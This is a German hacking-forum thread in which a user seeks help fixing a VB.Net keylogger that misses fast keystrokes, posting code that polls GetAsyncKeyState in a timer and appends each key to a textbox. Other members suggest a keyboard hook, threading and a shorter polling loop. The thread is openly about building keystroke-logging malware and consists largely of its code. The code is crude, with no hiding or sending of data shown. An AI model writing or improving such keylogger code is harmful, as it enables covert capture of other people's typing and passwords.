Ergebnis 1 bis 8 von 8
  1. #1
    NoClose Wurm Avatar von NavanBethrax
    Registriert seit
    01.04.2009
    Beiträge
    193

    Standard [Help][Vb.Net] Keylogger..

    Ich brauche Hilfe also ich habe mir einen Keylogger gecodet nur ich habe da ein Kleines Problem der Keylogger kann nicht damit Umgehen wenn man schnell Tippt. Das liegt glaube ich darann das ich alle If abfragen in einen Timer gepackt habe.

    Aber ich weiß nicht wie ich es sonst machen sollte.
    Hier mal mein beispiel Code.

    Code:
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    
            For i = 0 To 255
                If GetAsyncKeyState(i) = -32767 Then
                    Zahl = i
                End If
            Next
    
            If Zahl = 65 And My.Computer.Keyboard.CapsLock Or Zahl = 65 And My.Computer.Keyboard.ShiftKeyDown Then
                TextBox1.Text = TextBox1.Text + "A"
            ElseIf Zahl = 65 Then
                TextBox1.Text = TextBox1.Text + "a"
            ElseIf Zahl = 66 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then
                TextBox1.Text = TextBox1.Text + "B"
            ElseIf Zahl = 66 Then
                TextBox1.Text = TextBox1.Text + "b"
    
             ....
    
    
             ElseIf Zahl = 90 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then
                TextBox1.Text = TextBox1.Text + "Z"
             ElseIf Zahl = 90 Then
                TextBox1.Text = TextBox1.Text + "z"
    
    End If
    Hatte es auch schonmal anders.
    Da sah es so aus.

    Code:
    For f = 1 To 255
                If GetAsyncKeyState(65) = -32767 Then
                    If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
                        TextBox1.Text = TextBox1.Text + "A"
                    Else
                        TextBox1.Text = TextBox1.Text + "a"
                    End If
                End If
            Next
    Dies habe ich dann für jeden Buchstaben gemacht und immer 3 in einen Timer gesteckt. Aber das hat Irgendwann auch nichtmehr Funktioniert.

    Aber besser als das obere.

    MfG Navan
    _________________________________________
    [B] Hilfe wo ich nur Kann
    [Skills]
    VB.Net Gut [####]
    C++ Anfänger [#]
    Reveersing Fortgeschritten [###]
    Game Hacking Gut[####]
    [--------------------------------]


  2. #2
    Da N!nja oder so :> Avatar von DarkFire
    Registriert seit
    23.09.2008
    Beiträge
    424

    Standard

    Select Case + Threading.
    <o_O>wenn man einen bot mit .net schreibt, dann hat man automatisch ein bot.net
    Zitat Zitat von IRC
    <Freepler>weil du unter 1k posts hast
    <Freepler>und keinen rang
    <Freepler>deswegen hast du einen kleinen penis
    <Freepler>und ich steh nicht auf jungs mit kleinen penisen
    Armes Freepler.


  3. #3
    CIH-Virus Avatar von krusty
    Registriert seit
    12.10.2008
    Beiträge
    445

    Standard

    naja, kommt immer auf den rechner an. verwende nen keyboardhook, da bist auf er sicheren seite.

  4. #4
    Anfänger
    Registriert seit
    11.12.2010
    Beiträge
    28

    Standard

    Zitat Zitat von DarkFire Beitrag anzeigen
    Select Case + Threading.
    chr() oder wie das heisst wäre zu einfach

  5. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    blackberry (23.12.2010), hackerking (23.12.2010), inout (23.12.2010), novedad (23.12.2010)

  6. #5
    NoClose Wurm Avatar von NavanBethrax
    Registriert seit
    01.04.2009
    Beiträge
    193

    Standard RE:

    Wenn ihr mir eure vorschläge ein wenig erläutern könntet wär das nett.

    Ja das mit Case habe ich schon versucht aber bin da ned so weit gekommen i-wo hat sich da dann ein Fehler eingeschlichen und er hat Permanent geloggt weil es da i-wie zu schnell ging.

    oke da hatte ich auch

    Code:
    Dim Key as Integer = 0
    Dim Caps as Boolean = False
    Und in dem Timer hatte ich
    Code:
    For i = 0 To 255
                If GetAsyncKeyState(i) - 32767 Then
                    Zahl = i
                End If
            Next
    und

    Code:
    If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
    Caps = True
    Else
    Caps = False
    End If
    Mein Case befehl war auch im Timer und war ungefähr

    Code:
    Select Case Zahl
    Case 65
    Textbox1.Text = Textbox1.Text + "a"
    Case 65 And Caps = True
    Textbox1.Text = Textbox1.Text + "A"
    _________________________________________
    [B] Hilfe wo ich nur Kann
    [Skills]
    VB.Net Gut [####]
    C++ Anfänger [#]
    Reveersing Fortgeschritten [###]
    Game Hacking Gut[####]
    [--------------------------------]


  7. #6

    Registriert seit
    17.06.2009
    Beiträge
    559

    Standard

    Zitat Zitat von NavanBethrax Beitrag anzeigen
    Wenn ihr mir eure vorschläge ein wenig erläutern könntet wär das nett.
    Code:
    For i As Integer = 0 To 255
      If GetAsyncKeyState(i) = -32767 Then
        TextBox1.AppendText(Chr(i))
        Exit For
      End If
    Next

  8. #7
    NoClose Wurm Avatar von NavanBethrax
    Registriert seit
    01.04.2009
    Beiträge
    193

    Standard

    Zitat Zitat von inout Beitrag anzeigen
    Code:
    For i As Integer = 0 To 255
      If GetAsyncKeyState(i) = -32767 Then
        TextBox1.AppendText(Chr(i))
        Exit For
      End If
    Next
    War da nicht irgend was das das Programm wenn man nicht jede Taste selbst eingibt das er manchmal komische Tasten ausgibt. Und bei deinem Beispiel beachtet er doch auch keine groß und klein schreibung oder ??
    _________________________________________
    [B] Hilfe wo ich nur Kann
    [Skills]
    VB.Net Gut [####]
    C++ Anfänger [#]
    Reveersing Fortgeschritten [###]
    Game Hacking Gut[####]
    [--------------------------------]


  9. #8

    Registriert seit
    17.06.2009
    Beiträge
    559

    Standard

    Natürlich gibt es auch nicht druckbare Zeichen. Die kannst du ggf. vorher filtern.
    Der Code sollte dir nur zeigen, dass du dafür keine ewig langen if oder case Abfragen brauchst und für die groß/klein Schreibung brauchst du nur wieder die 2 zusätzlichen Zeilen einfügen.

Ähnliche Themen

  1. keylogger
    Von h3ll4 im Forum Instant Messaging
    Antworten: 4
    Letzter Beitrag: 30.11.2008, 23:18

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •